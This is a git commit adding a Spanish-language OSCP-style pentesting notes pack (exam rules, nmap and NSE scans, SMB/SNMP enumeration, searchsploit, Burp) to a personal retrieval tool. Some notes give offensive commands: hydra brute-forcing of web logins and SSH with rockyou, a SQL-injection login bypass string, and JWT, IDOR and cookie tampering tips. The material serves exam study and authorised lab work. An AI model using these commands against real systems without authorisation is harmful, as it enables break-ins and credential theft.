saber: pack de metodologia publico (conocimiento/) + doc del RAG
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
This commit is contained in:
parent
12987539a4
commit
7e06ce46cf
76 changed files with 2682 additions and 8 deletions
15
docs/rag.md
15
docs/rag.md
|
|
@ -87,12 +87,15 @@ forma de medirlo— sí está; el corpus lo pone cada quien con sus notas.
|
|||
|---|---|
|
||||
| El código: `indexa`, `busca`, `glosario`, `sistema`, `enriquece/` | **sí** |
|
||||
| El eval (`enriquece/eval_set.jsonl`) | **sí** |
|
||||
| El glosario de tareas de Linux en castellano (`glosario.py`) | **sí** (es conocimiento genérico, no personal) |
|
||||
| El índice (`saber.jsonl`) y sus copias | **no** — los apuntes |
|
||||
| El glosario de tareas de Linux en castellano (`glosario.py`) | **sí** (genérico) |
|
||||
| **El pack de metodología** (`saber/conocimiento/`, ~73 docs) | **sí** — limpio y genérico |
|
||||
| El índice (`saber.jsonl`) y sus copias | **no** — los apuntes indexados |
|
||||
| El diario (`diario.jsonl`) | **no** — las conversaciones |
|
||||
| Lo derivado (`cosecha.jsonl`, `sintesis.jsonl`) | **no** — salen de los apuntes |
|
||||
|
||||
Un detalle útil: `indexa.py` en un equipo recién clonado ya construye un índice
|
||||
**útil sin ningún dato privado** —de las *man pages* del sistema y del glosario—,
|
||||
así que se puede ver el RAG funcionando de inmediato; los apuntes de COFRE solo
|
||||
lo enriquecen si los tienes.
|
||||
Así que un equipo recién clonado, con `indexa.py`, construye un índice **útil sin
|
||||
ningún dato privado**: las *man pages*, el glosario, y **el pack de metodología**
|
||||
(`saber/conocimiento/`) —enumeración, explotación web, shells, privesc, Active
|
||||
Directory, cheatsheets...— con los comandos de verdad. Son apuntes propios estilo
|
||||
OSCP, scrubeados de hosts, credenciales y rutas. Los apuntes privados del usuario
|
||||
(su `saber.jsonl`, su diario) siguen fuera; el pack los complementa.
|
||||
|
|
|
|||
|
|
@ -0,0 +1,23 @@
|
|||
# Estructura del examen
|
||||
|
||||
> 24h de máquinas + 24h para el Reporte OSCP. 70/100 puntos para aprobar.
|
||||
|
||||
## Composición
|
||||
- **Set de Active Directory = 40 puntos seguidos.**
|
||||
- 3 máquinas **encadenadas**. Si te atascas en la máquina 1, no avanzas a 2 y 3.
|
||||
- **Empieza por aquí con tiempo.** Es todo-o-nada por cadena.
|
||||
- Ver Active Directory para el flujo completo.
|
||||
- **3 standalones independientes**, 20 pts cada una.
|
||||
- `user` (10 pt = `local.txt`) + `root/system` (10 pt = `proof.txt`).
|
||||
- **Saca el `user` de las 3 ANTES** de obsesionarte con el root de una.
|
||||
|
||||
## Pruebas (flags)
|
||||
- `local.txt` = prueba de usuario.
|
||||
- `proof.txt` = prueba de root/SYSTEM.
|
||||
- Cada flag con el **hostname visible** (`ipconfig` / `ifconfig`) en la captura.
|
||||
|
||||
## Anti-pánico
|
||||
- Ver Gestión del tiempo y Trampas de enumeración.
|
||||
- Sin Reporte OSCP **no apruebas**, aunque saques 100 puntos técnicos.
|
||||
|
||||
Relacionado: Metodología OSCP · Reglas de herramientas · OSCP MOC
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
# Gestión del tiempo
|
||||
|
||||
> 24h ≠ 24h. **Duermes 6h. Comes. Te duchas.** El cerebro fresco resuelve; el cansado entra en rabbit-holes.
|
||||
|
||||
## Reglas
|
||||
- **1.5h sin progreso = cambia de máquina.** Cierra, vuelve más tarde con cabeza fresca.
|
||||
- Empieza por el **set de AD** (40 pts) con tiempo → ver Estructura del examen.
|
||||
- Saca **todos los `user`** antes de pelear un root concreto.
|
||||
- Vigila el Egress filtering pronto: descubrir tarde que un puerto está bloqueado cuesta horas.
|
||||
|
||||
## Documentación en vivo
|
||||
- Captura **TODO** mientras lo haces (Flameshot/Greenshot), **no al final** — al final no recuerdas el comando exacto.
|
||||
- Cada flag con hostname visible. Ver Reporte OSCP.
|
||||
|
||||
## Anti rabbit-hole
|
||||
- Enumeración exhaustiva primero, luego un vector a la vez → Trampas de enumeración.
|
||||
- Si un vector "tiene que funcionar" y llevas 1h, probablemente es un señuelo.
|
||||
|
||||
Relacionado: Metodología OSCP · OSCP MOC
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
# Metodología OSCP
|
||||
|
||||
> El truco real del OSCP no es saber 200 técnicas, es tener una **metodología repetible**.
|
||||
> La gente suspende por **saltarse pasos** o por **obsesionarse con un vector**, no por desconocimiento técnico.
|
||||
|
||||
## El bucle
|
||||
```
|
||||
Enumeración exhaustiva → vector → foothold →
|
||||
PrivEsc con script automatizado + revisión manual →
|
||||
documentar antes de pasar a la siguiente máquina
|
||||
```
|
||||
|
||||
## Pasos
|
||||
1. **Enumera a fondo** → Enumeración (no asumas nada, mira Puertos olvidados).
|
||||
2. **Encuentra el vector** → web (Enumeración web, SQL injection, LFI a RCE, File upload bypass) o servicio.
|
||||
3. **Foothold** → Reverse shell estabilizada (Estabilizar shell TTY).
|
||||
4. **Privesc** → script automatizado (PEASS-ng) **+** revisión manual (Privesc Linux / Privesc Windows).
|
||||
5. **Loot y pivot** → Mimikatz, Movimiento lateral, Active Directory.
|
||||
6. **Documenta EN VIVO** → Reporte OSCP.
|
||||
|
||||
## Reglas de oro
|
||||
- **Reutiliza credenciales** siempre: una pass de un user suele valer en otros hosts y servicios.
|
||||
- **1.5h sin progreso = cambia de máquina** (ver Gestión del tiempo).
|
||||
- Captura todo mientras lo haces, no al final.
|
||||
|
||||
Relacionado: Estructura del examen · Reglas de herramientas · OSCP MOC
|
||||
|
|
@ -0,0 +1,25 @@
|
|||
# Reglas de herramientas (examen)
|
||||
|
||||
> Qué puedes y qué no puedes usar en el examen OSCP.
|
||||
|
||||
## ✅ Permitido
|
||||
- Nmap + NSE, `enum4linux`, `smbclient`, `rpcclient`, NetExec/CrackMapExec (SMB).
|
||||
- Mimikatz, Impacket, BloodHound, Pivoting ligolo-ng.
|
||||
- `nikto`, `whatweb`, searchsploit, `hydra`, gobuster/feroxbuster/ffuf (Content discovery).
|
||||
- Burp Suite Community (proxy manual; el scanner activo está prohibido, pero no lo necesitas).
|
||||
- **Tus propios scripts** (copy-paste permitido).
|
||||
|
||||
## ⛔ Prohibido
|
||||
- **Metasploit / Meterpreter → solo en UNA máquina.**
|
||||
- Solo el **foothold inicial** cuenta como "uso"; post-explotación con meterpreter NO cuenta.
|
||||
- Explotación automática: `sqlmap` en modo auto, autopwn.
|
||||
- Escáneres de vulnerabilidades masivos: **Nessus, OpenVAS, Nexpose, Core Impact**.
|
||||
- IA durante el examen.
|
||||
|
||||
## Nota práctica
|
||||
Nessus se aprende para el **trabajo real** (es estándar), pero en el examen se replica a mano:
|
||||
```
|
||||
nmap -sV → searchsploit → nmap --script vuln / nikto
|
||||
```
|
||||
|
||||
Relacionado: Estructura del examen · Metodología OSCP · OSCP MOC
|
||||
20
nucleo/saber/conocimiento/00 - Metodologia/Reporte OSCP.md
Normal file
20
nucleo/saber/conocimiento/00 - Metodologia/Reporte OSCP.md
Normal file
|
|
@ -0,0 +1,20 @@
|
|||
# Reporte OSCP
|
||||
|
||||
> **Sin reporte no apruebas**, aunque saques 100 puntos técnicos. Se entrega hasta 24h después del examen.
|
||||
|
||||
## Qué necesitas capturar EN VIVO
|
||||
- Cada comando exacto (no lo recordarás al final).
|
||||
- Cada flag con el **hostname visible** en la misma captura (`ipconfig`/`ifconfig`).
|
||||
- `local.txt` (user) y `proof.txt` (root/SYSTEM) de cada máquina.
|
||||
- Pasos reproducibles: alguien debe poder repetir tu intrusión leyendo el reporte.
|
||||
|
||||
## Plantilla
|
||||
- Markdown: `noraj/OSCP-Exam-Report-Template-Markdown`
|
||||
→ https://github.com/noraj/OSCP-Exam-Report-Template-Markdown
|
||||
|
||||
## Flujo recomendado
|
||||
1. Documenta **antes** de pasar a la siguiente máquina (Metodología OSCP).
|
||||
2. Una carpeta por host con capturas + comandos.
|
||||
3. Al acabar, montas el reporte sobre esas notas.
|
||||
|
||||
Relacionado: Estructura del examen · Gestión del tiempo · Recursos públicos · OSCP MOC
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
# Enumeración web
|
||||
|
||||
> Puertos 80/443/8080. El vector web es el foothold más común en standalones. Parte de Enumeración.
|
||||
> Para la **metodología de ataque** (qué probar en cada input) ve a Hacking web; aquí solo enumeras.
|
||||
|
||||
## Primero, lo manual
|
||||
```
|
||||
Ctrl+U siempre → comentarios con creds, paths, endpoints
|
||||
JS embebidos → APIs ocultas (LinkFinder, JSparser)
|
||||
robots.txt → perezoso; mira también:
|
||||
sitemap.xml, .git/, .svn/, .htaccess, .DS_Store,
|
||||
backup/, old/, dev/, test/, admin/
|
||||
```
|
||||
|
||||
## Fuzzing de contenido
|
||||
Brute force de rutas/ficheros con gobuster/feroxbuster/ffuf → nota dedicada: Content discovery.
|
||||
- Hostnames/vhosts → Vhosts y subdominios.
|
||||
- Intercepta y manipula todo con Burp Suite.
|
||||
|
||||
## Identificar
|
||||
```bash
|
||||
whatweb http://IP
|
||||
nikto -h http://IP
|
||||
```
|
||||
CMS detectado → `wpscan`, `cmsmap`, `searchsploit <cms>`.
|
||||
|
||||
## Vectores típicos
|
||||
Todos en Hacking web: SQL injection · Command injection · Directory traversal · LFI a RCE · File upload bypass · XSS · SSTI · Authentication attacks.
|
||||
|
||||
Relacionado: Content discovery · Trampas de enumeración · Recursos públicos · OSCP MOC
|
||||
24
nucleo/saber/conocimiento/01 - Enumeracion/Enumeración.md
Normal file
24
nucleo/saber/conocimiento/01 - Enumeracion/Enumeración.md
Normal file
|
|
@ -0,0 +1,24 @@
|
|||
# Enumeración (índice)
|
||||
|
||||
> "Enumeración exhaustiva" es el paso 1 de la Metodología OSCP y donde más gente pierde horas.
|
||||
> La mayoría de los fallos del examen son enumeración incompleta, no falta de técnica.
|
||||
|
||||
## Flujo
|
||||
1. **Mi IP / red** → `ip a | grep "inet "` (el 3er octeto del lab **cambia** al reiniciar).
|
||||
2. **Descubrimiento de hosts** → ping/ARP sweep (Nmap).
|
||||
3. **Escaneo de puertos** → top-1000 **y** `-p-` completo (Puertos olvidados).
|
||||
4. **Por servicio**:
|
||||
- 445 → SMB
|
||||
- UDP 161 → SNMP
|
||||
- 80/443 → Enumeración web + Content discovery + Hacking web
|
||||
- 3389 → RDP
|
||||
- texto plano (!OS-57179836-OSCP.ovpn25, 110...) → Netcat
|
||||
1. **Scripts NSE** → Nmap NSE (`-sCV`, `--script vuln`).
|
||||
2. **Versión + exploits** → `nmap -sV` → searchsploit.
|
||||
|
||||
## No olvides
|
||||
- Trampas de enumeración (UDP, puertos altos, vhosts, wordlists pequeñas).
|
||||
- Automatiza con Bucles bash sobre IPs.
|
||||
- La web es su propio mundo → Hacking web.
|
||||
|
||||
Relacionado: Operadores Bash · OSCP MOC
|
||||
21
nucleo/saber/conocimiento/01 - Enumeracion/Netcat.md
Normal file
21
nucleo/saber/conocimiento/01 - Enumeracion/Netcat.md
Normal file
|
|
@ -0,0 +1,21 @@
|
|||
# Netcat (recon)
|
||||
|
||||
> Solo para protocolos de **texto**: SMTP, HTTP, POP3... Para shells ver Reverse shell y Egress filtering.
|
||||
|
||||
## Conexión y escaneo
|
||||
```bash
|
||||
nc -nv IP PUERTO # interactivo (host y puerto con ESPACIO, NO ":")
|
||||
nc -nvz IP 1-1000 # modo scan (-z): solo comprueba si abre
|
||||
nc -nvz -u IP 161 # UDP (poco fiable → mejor SNMP dedicado)
|
||||
```
|
||||
- **OJO**: `nc IP:PUERTO` = MAL. `-p` es puerto **origen**, no destino.
|
||||
- SNMP/SMB/DNS son **binarios** → netcat NO sirve, usa la herramienta dedicada.
|
||||
|
||||
## SMTP a mano (enumerar usuarios)
|
||||
```bash
|
||||
nc -nv IP 25
|
||||
VRFY root # 250 existe / 252 Postfix no confirma / 550 no existe
|
||||
QUIT
|
||||
```
|
||||
|
||||
Relacionado: Operadores Bash · Enumeración · OSCP MOC
|
||||
41
nucleo/saber/conocimiento/01 - Enumeracion/Nmap NSE.md
Normal file
41
nucleo/saber/conocimiento/01 - Enumeracion/Nmap NSE.md
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
# Nmap NSE (scripts)
|
||||
|
||||
> El motor de scripts de Nmap: enumeración profunda y detección de vulns sin herramientas extra. Scripts en `/usr/share/nmap/scripts/`.
|
||||
|
||||
## El comando que usas siempre
|
||||
```bash
|
||||
sudo nmap -sCV -p- IP # -sCV = -sC (scripts default) + -sV (versión)
|
||||
# patrón real de tu history_contabo.txt:
|
||||
nmap IP -p- -Pn --min-rate 5000 -vvv -n --open # rápido todos los puertos
|
||||
nmap -p- localhost -sCV # luego versión+scripts sobre lo abierto
|
||||
```
|
||||
Flujo típico: 1) `-p- --open` rápido para ver QUÉ abre → 2) `-sCV` dirigido a esos puertos.
|
||||
|
||||
## Categorías de scripts
|
||||
```
|
||||
default (-sC) los seguros y útiles por defecto
|
||||
vuln comprueba vulnerabilidades conocidas
|
||||
safe / auth no intrusivos / temas de autenticación
|
||||
brute fuerza bruta de credenciales
|
||||
discovery enumeración (snmp, smb, http...)
|
||||
```
|
||||
|
||||
## Por servicio (muy rentable)
|
||||
```bash
|
||||
nmap -p80,443 --script http-enum,http-title,http-headers IP # web → Enumeración web
|
||||
nmap -p445 --script smb-os-discovery,smb-enum-shares,smb-enum-users IP # SMB
|
||||
nmap -p161 -sU --script snmp-info IP # SNMP
|
||||
nmap -p21 --script ftp-anon IP # FTP anónimo
|
||||
nmap --script vuln IP # barrido de vulns
|
||||
```
|
||||
|
||||
## Gestionar scripts
|
||||
```bash
|
||||
nmap --script-help http-enum # qué hace un script
|
||||
ls /usr/share/nmap/scripts | grep smb # listar los disponibles
|
||||
```
|
||||
|
||||
## A través de un túnel
|
||||
`proxychains nmap ...` (de tu history) para escanear la red interna tras Pivoting ligolo-ng (usa `-sT -Pn`, SYN no pasa por proxychains).
|
||||
|
||||
Relacionado: searchsploit · Puertos olvidados · OSCP MOC
|
||||
38
nucleo/saber/conocimiento/01 - Enumeracion/Nmap.md
Normal file
38
nucleo/saber/conocimiento/01 - Enumeracion/Nmap.md
Normal file
|
|
@ -0,0 +1,38 @@
|
|||
# Nmap
|
||||
|
||||
> `-sS` = TCP SYN · `-sU` = UDP · `-sV` = versión. Parte de Enumeración.
|
||||
|
||||
## Descubrimiento de hosts
|
||||
```bash
|
||||
sudo nmap -sn 192.168.X.0/24 # ping sweep: quién está vivo
|
||||
sudo nmap -sn -PR 192.168.X.0/24 # ARP (LAN, el más fiable)
|
||||
sudo nmap -sn -PS21,22,25,80,445 IP/24 # TCP discovery si ICMP filtrado
|
||||
```
|
||||
|
||||
## Escaneo de puertos
|
||||
```bash
|
||||
sudo nmap -sS 192.168.X.0/24 -oG full.txt # SYN top-1000, greppable
|
||||
sudo nmap -p- -Pn --min-rate 5000 -n --open IP # TODOS los 65535, solo abiertos → Puertos olvidados
|
||||
sudo nmap -sU --top-ports 50 -T4 IP # UDP (SNMP/TFTP/NTP)
|
||||
sudo nmap -sCV -p 22,80,445 IP # versión + scripts default → Nmap NSE
|
||||
sudo nmap -p80 --script vuln IP # NSE de vulnerabilidades
|
||||
```
|
||||
|
||||
## El combo de dos pasos (patrón real)
|
||||
```bash
|
||||
nmap -p- -Pn --min-rate 5000 -n --open IP # 1) rápido: ¿qué puertos abren?
|
||||
nmap -sCV -p 22,80,445 IP # 2) dirigido: versión+scripts sobre esos
|
||||
```
|
||||
`-sCV` = `-sC` (scripts default) + `-sV` (versión). Luego `searchsploit` por versión → searchsploit.
|
||||
|
||||
## Salida
|
||||
- `-oN` normal (legible, los NSE salen aquí) · `-oG` greppable (1 línea/host, ideal `grep`) · `-oA` los 3.
|
||||
- Greppeo de resultados → Bucles bash sobre IPs.
|
||||
|
||||
## Trampas
|
||||
- El top-1000 **ya** incluye 80/443/22/445. Si `grep` no saca nada y el scan cubría el puerto → **la máquina no está viva**, no es el scan.
|
||||
- `filtered ≠ open` (firewall/sin respuesta).
|
||||
- `-Pn` en un /24 = ruido (256 hosts "up" falsos). `-Pn` es para **1 host concreto**.
|
||||
- Confusión clásica: **SNMP = UDP/161 (`-sU`)**, **SMTP = TCP/25 (`-sS`)**.
|
||||
|
||||
Relacionado: Nmap NSE · searchsploit · Trampas de enumeración · SMB · OSCP MOC
|
||||
|
|
@ -0,0 +1,21 @@
|
|||
# Puertos olvidados
|
||||
|
||||
> Donde la gente pierde 4 horas: escanear solo el top-1000 TCP. Parte de Trampas de enumeración.
|
||||
|
||||
## UDP (casi siempre olvidado)
|
||||
```bash
|
||||
nmap -sU --top-ports 50 -T4 IP
|
||||
```
|
||||
- **SNMP (161)**, TFTP (69), NTP (123) suelen dar oro → ver SNMP.
|
||||
|
||||
## Puertos altos TCP
|
||||
```bash
|
||||
nmap -p- --min-rate=5000 IP # los 65535, no solo top-1000
|
||||
```
|
||||
- Servicios escondidos en puertos raros (8080, 50000+...).
|
||||
|
||||
## Por qué importa
|
||||
- Nmap por defecto escanea **solo top-1000 TCP**. Un servicio vulnerable en el 54321 es invisible si no haces `-p-`.
|
||||
- Regla: **siempre** un `-p-` completo además del rápido.
|
||||
|
||||
Relacionado: Nmap · Enumeración · OSCP MOC
|
||||
16
nucleo/saber/conocimiento/01 - Enumeracion/RDP.md
Normal file
16
nucleo/saber/conocimiento/01 - Enumeracion/RDP.md
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
# RDP
|
||||
|
||||
> Escritorio remoto Windows (3389). **Acceso legítimo** con credenciales: no necesita Reverse shell.
|
||||
|
||||
```bash
|
||||
xfreerdp /u:student /p:lab /v:IP /cert:ignore /clipboard
|
||||
xfreerdp3 ... # si la versión nueva
|
||||
```
|
||||
- `/clipboard` = **copiar-pegar entre Kali y Windows** (clave para subir scripts/payloads).
|
||||
- `/cert:ignore` = no protestar por el certificado del lab.
|
||||
|
||||
## Cuándo
|
||||
- Cuando consigues credenciales válidas (reutilización, Mimikatz, GPP cpassword) y la máquina expone 3389.
|
||||
- GUI cómoda para Privesc Windows y para ejecutar PEASS-ng.
|
||||
|
||||
Relacionado: SMB · Movimiento lateral · OSCP MOC
|
||||
30
nucleo/saber/conocimiento/01 - Enumeracion/SMB.md
Normal file
30
nucleo/saber/conocimiento/01 - Enumeracion/SMB.md
Normal file
|
|
@ -0,0 +1,30 @@
|
|||
# SMB
|
||||
|
||||
> Puerto **445** — oro en Active Directory. Parte de Enumeración.
|
||||
|
||||
## Listar shares y usuarios
|
||||
```bash
|
||||
smbclient -L //IP/ -N # shares con sesión nula (OJO: trunca comentarios)
|
||||
smbclient //IP/share -N # entrar (ls, get, !cat)
|
||||
smbclient -L //IP/ -U usuario # con credenciales
|
||||
rpcclient -U "" -N IP -c "netshareenumall" # shares + remark COMPLETO (no trunca)
|
||||
rpcclient -U "" -N IP -c "enumdomusers" # usuarios de dominio (SAM)
|
||||
enum4linux -a IP # TODO (pilla users UNIX locales por RID cycling)
|
||||
nxc smb IP -u '' -p '' --shares --users # NetExec (sucesor de CrackMapExec)
|
||||
```
|
||||
|
||||
## Desde Windows
|
||||
```cmd
|
||||
net view \\dc01 /all :: shares incl. ocultos. Admin shares: ADMIN$, C$, IPC$
|
||||
```
|
||||
|
||||
## Trampas
|
||||
- `smbclient -L` **trunca** comentarios → usa `rpcclient netshareenumall` para el `remark` completo.
|
||||
- Usuarios UNIX locales (`S-1-22-1`) solo los pilla `enum4linux -a` (RID cycling), **no** `enumdomusers`.
|
||||
- Automatiza la red entera con Bucles bash sobre IPs.
|
||||
|
||||
## Sesión nula → siguiente paso
|
||||
Usuarios válidos → AS-REP Roasting, Kerberoasting, spraying (Pass-the-Hash).
|
||||
Shares con `Groups.xml` → GPP cpassword.
|
||||
|
||||
Relacionado: SNMP · Active Directory · OSCP MOC
|
||||
23
nucleo/saber/conocimiento/01 - Enumeracion/SNMP.md
Normal file
23
nucleo/saber/conocimiento/01 - Enumeracion/SNMP.md
Normal file
|
|
@ -0,0 +1,23 @@
|
|||
# SNMP
|
||||
|
||||
> Puerto **UDP 161** (Simple Network Management Protocol). Recuérdalo: es **UDP** (`nmap -sU`), no TCP. Parte de Puertos olvidados.
|
||||
|
||||
## Herramientas
|
||||
```bash
|
||||
onesixtyone -c comm.txt IP/24 # descubre SNMP + fuerza community a la vez
|
||||
snmpwalk -v2c -c public IP OID # recorre el árbol de OIDs
|
||||
snmp-check IP -c public # enumeración bonita y ordenada
|
||||
snmpwalk -v2c -c public -Oa IP OID # -Oa = traduce hex a ASCII
|
||||
```
|
||||
|
||||
## OIDs útiles (numéricos, no dependen de MIBs instalados)
|
||||
```
|
||||
1.3.6.1.2.1.25.4.2.1.2 Procesos en ejecución (hrSWRunName)
|
||||
1.3.6.1.2.1.25.6.3.1.2 Software instalado
|
||||
1.3.6.1.2.1.2.2.1.2 Nombres de interfaces de red (ifDescr)
|
||||
1.3.6.1.4.1.77.1.2.25 Usuarios Windows
|
||||
```
|
||||
- OID = dirección jerárquica: `iso(1).org(3).dod(6).internet(1)...`
|
||||
- Prefijo `1.3.6.1.2.1` (mib-2) es fijo; cambian los números del final.
|
||||
|
||||
Relacionado: Nmap · SMB · Enumeración · OSCP MOC
|
||||
|
|
@ -0,0 +1,21 @@
|
|||
# Trampas de enumeración
|
||||
|
||||
> Donde la gente pierde 4 horas. Anti-rabbit-hole. Conecta con Gestión del tiempo.
|
||||
|
||||
## El catálogo
|
||||
- **Olvidar UDP** → SNMP (161), TFTP, NTP. Ver Puertos olvidados.
|
||||
- **Olvidar puertos altos** → `nmap -p- --min-rate=5000`. Ver Puertos olvidados.
|
||||
- **Olvidar vhosts/subdominios** → Vhosts y subdominios.
|
||||
- **`/etc/hosts` no actualizado** → añade el dominio en cuanto aparezca.
|
||||
- **Wordlists pequeñas** → `common.txt` es junior; usa `raft-large` / `directory-list-2.3-medium`.
|
||||
|
||||
## Trampas que cuestan horas (del lab real)
|
||||
- **IP del lab dinámica**: el 3er octeto cambia al reiniciar (`.55 .65 .67...`). Haz `ip a` **antes** de escanear.
|
||||
- `filtered ≠ open` (firewall/sin respuesta).
|
||||
- `-Pn` en /24 = 256 "up" falsos. Úsalo solo en **1 host**.
|
||||
- Si `grep` no saca nada y el scan cubría el puerto → **la máquina no está viva**.
|
||||
- **SNMP=UDP/161**, **SMTP=TCP/25**. No confundir.
|
||||
- `smbclient -L` **trunca** comentarios → usa `rpcclient netshareenumall` (SMB).
|
||||
- Flags placeholder tipo `OS{0123456789abcdef}` = **señuelo** (grupo/recurso equivocado).
|
||||
|
||||
Relacionado: Nmap · Enumeración · Metodología OSCP · OSCP MOC
|
||||
|
|
@ -0,0 +1,21 @@
|
|||
# Vhosts y subdominios
|
||||
|
||||
> Si te encuentras una "default Apache page", probablemente hay **virtual hosts** ocultos. Parte de Trampas de enumeración.
|
||||
|
||||
## Fuzzear vhosts
|
||||
```bash
|
||||
gobuster vhost -u http://IP -w /usr/share/seclists/Discovery/DNS/...
|
||||
ffuf -H "Host: FUZZ.objetivo.htb" -u http://IP
|
||||
```
|
||||
|
||||
## /etc/hosts
|
||||
- Si la web carga rara o redirige, mira el header `Host:`.
|
||||
- **Añade el dominio a `/etc/hosts` SIEMPRE** que aparezca un hostname.
|
||||
|
||||
## HTTPS revela hostnames
|
||||
```bash
|
||||
openssl s_client -connect IP:443
|
||||
```
|
||||
- El **certificado** te puede chivar el dominio real (CN / SAN).
|
||||
|
||||
Relacionado: Enumeración web · Nmap · OSCP MOC
|
||||
38
nucleo/saber/conocimiento/01 - Enumeracion/searchsploit.md
Normal file
38
nucleo/saber/conocimiento/01 - Enumeracion/searchsploit.md
Normal file
|
|
@ -0,0 +1,38 @@
|
|||
# searchsploit
|
||||
|
||||
> Buscador **offline** de Exploit-DB. El puente entre `nmap -sV` y la explotación. Copia local en `tu carpeta` (symlink en `tu carpeta`).
|
||||
|
||||
## El workflow OSCP
|
||||
```
|
||||
Nmap -sV → identificas servicio + VERSIÓN → searchsploit → explotas
|
||||
```
|
||||
Sustituye a los escáneres de vulns prohibidos (Reglas de herramientas).
|
||||
|
||||
## Buscar
|
||||
```bash
|
||||
searchsploit apache 2.4.49 # servicio + versión EXACTA
|
||||
searchsploit -t wordpress # -t = solo en el título (menos ruido)
|
||||
searchsploit "vsftpd 2.3.4"
|
||||
searchsploit --nmap scan.xml # ¡toma un nmap -oX y busca por ti!
|
||||
```
|
||||
- Quita la versión si no sale nada (a veces el exploit es genérico).
|
||||
- Usa términos cortos: `searchsploit drupal` mejor que la cadena entera.
|
||||
|
||||
## Examinar y copiar
|
||||
```bash
|
||||
searchsploit -x 50383 # ver el exploit (path por EDB-ID)
|
||||
searchsploit -m 50383 # MIRROR: lo copia a tu carpeta actual
|
||||
searchsploit -p 50383 # solo imprime la ruta
|
||||
searchsploit -u # actualizar la base
|
||||
```
|
||||
|
||||
## Antes de lanzar un exploit (¡importante!)
|
||||
1. **Léelo entero.** Hay PoCs **maliciosos/falsos** que te hackean a ti.
|
||||
2. Edita lo obvio: IP/puerto del atacante, offsets, URL objetivo, shellcode.
|
||||
3. Si es C: `gcc exploit.c -o exploit` (a veces flags raras, vienen en el comentario).
|
||||
4. Si es Python2 antiguo, ojo con `print`/sockets.
|
||||
|
||||
## Después
|
||||
RCE → Reverse shell. Si es local privesc → mira primero PEASS-ng y Privesc Linux / Privesc Windows (kernel exploit = último recurso).
|
||||
|
||||
Relacionado: Exploits conocidos · Nmap NSE · Enumeración · OSCP MOC
|
||||
|
|
@ -0,0 +1,34 @@
|
|||
# Authentication attacks
|
||||
|
||||
> Romper logins web: credenciales por defecto, fuerza bruta y bypass. Casi siempre el primer intento en Hacking web.
|
||||
|
||||
## 1. Lo gratis primero
|
||||
- **Credenciales por defecto**: `admin:admin`, `admin:password`, `root:root`, las del CMS/producto (búscalas: `searchsploit <producto>` o Google).
|
||||
- **Reutilización**: cualquier credencial que pillaste antes (Metodología OSCP).
|
||||
|
||||
## 2. Fuerza bruta con hydra
|
||||
```bash
|
||||
# Formulario POST: necesitas el campo y el mensaje de fallo
|
||||
hydra -l admin -P /usr/share/wordlists/rockyou.txt IP http-post-form \
|
||||
"/login.php:user=^USER^&pass=^PASS^:Invalid credentials"
|
||||
# HTTP Basic Auth:
|
||||
hydra -L users.txt -P pass.txt IP http-get /admin
|
||||
# SSH (si hay user válido):
|
||||
hydra -l bob -P rockyou.txt ssh://IP
|
||||
```
|
||||
- El `:F=mensaje` o `:S=éxito` es lo que distingue fallo de acierto → cógelo en Burp Repeater e Intruder.
|
||||
|
||||
## 3. Wordlists a medida
|
||||
```bash
|
||||
cewl http://IP -w custom.txt # palabras de la propia web
|
||||
# combinar con reglas de hashcat / variaciones
|
||||
```
|
||||
|
||||
## 4. Bypass (no fuerza bruta)
|
||||
- **SQLi en el login** → `' OR '1'='1'-- -` → SQL injection.
|
||||
- **Cookies/roles manipulables**: `isAdmin=false` → `true`, `role=user` → `admin` (en Burp Suite).
|
||||
- **JWT**: alg `none`, secreto débil (`jwt_tool`, crackeo con rockyou).
|
||||
- **IDOR**: cambia `?id=1` por `?id=2` y accedes a datos de otro.
|
||||
- **Cookie/sesión robada** vía XSS.
|
||||
|
||||
Relacionado: Burp Repeater e Intruder · SQL injection · OSCP MOC
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
# Burp Repeater e Intruder
|
||||
|
||||
> Las dos pestañas de trabajo de Burp Suite: **Repeater** para probar a mano, **Intruder** para automatizar.
|
||||
|
||||
## Repeater (manual, tu favorito en OSCP)
|
||||
- `Ctrl+R` envía una petición capturada aquí.
|
||||
- Editas cualquier parte (param, header, cookie, body) y **Send** → ves la respuesta al instante.
|
||||
- Ideal para iterar payloads de SQL injection, Command injection, SSTI, Directory traversal sin recargar el navegador.
|
||||
- Flujo: marca la petición sospechosa → `Ctrl+R` → prueba `'`, luego `' OR 1=1-- -`, observa el cambio.
|
||||
|
||||
## Intruder (automatizar payloads)
|
||||
- `Ctrl+I` envía aquí. Marcas **posiciones** con `Add §` (Burp pone `§payload§`).
|
||||
- Tipos de ataque:
|
||||
```
|
||||
Sniper → 1 lista, 1 posición a la vez (fuzzing de un parámetro)
|
||||
Battering ram → 1 lista, misma en todas las posiciones
|
||||
Pitchfork → N listas en paralelo (user[1]+pass[1], user[2]+pass[2]...)
|
||||
Cluster bomb → todas las combinaciones (user × pass) → fuerza bruta de login
|
||||
```
|
||||
- **Community va ralentizado** (throttle). Para fuerza bruta seria de login usa **hydra**; para fuzzing de rutas/params usa **ffuf** → Content discovery.
|
||||
|
||||
## Cuándo cada uno
|
||||
- ¿Una petición, muchas variantes a ojo? → **Repeater**.
|
||||
- ¿Misma petición, cientos de payloads? → **Intruder** (o ffuf/hydra si Community se queda corto).
|
||||
|
||||
Relacionado: Burp Suite · Authentication attacks · OSCP MOC
|
||||
39
nucleo/saber/conocimiento/02 - Explotacion web/Burp Suite.md
Normal file
39
nucleo/saber/conocimiento/02 - Explotacion web/Burp Suite.md
Normal file
|
|
@ -0,0 +1,39 @@
|
|||
# Burp Suite
|
||||
|
||||
> El proxy de interceptación: se pone **entre tu navegador y la web** para ver y **modificar** cada petición. La herramienta nº1 del Hacking web. Instalado en `tu carpeta`.
|
||||
|
||||
## Arrancar
|
||||
```bash
|
||||
tu carpeta
|
||||
# o: java -jar tu carpeta
|
||||
```
|
||||
|
||||
## Montar el proxy (lo primero)
|
||||
1. Navegador → proxy `127.0.0.1:8080` (usa **FoxyProxy** para alternar rápido).
|
||||
